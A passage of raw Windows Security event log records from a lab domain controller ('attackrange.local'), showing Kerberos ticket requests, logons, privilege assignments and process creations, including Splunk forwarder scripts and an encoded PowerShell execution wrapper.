LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250331
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A7C21F96-132A-7B3F-2097-0F34FA89FADD}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250330
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A7C21F96-132A-7B3F-2097-0F34FA89FADD}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250329
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250328
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF2048

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250327
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107230

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250326
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x107230
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64434

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250325
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107230

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250324
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107187

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250323
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x107187
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64433

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250322
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107187

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250321
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1070CA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250320
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1070CA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64432

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250319
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1070CA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250318
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x106FE6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250317
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x106FE6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64431

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250316
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x106FE6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250315
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell2.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250314
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x129c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250313
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\perfmon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250383
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F9E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1130
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1108
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250382
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1085D6

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250381
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1085D6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250380
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250379
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250378
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
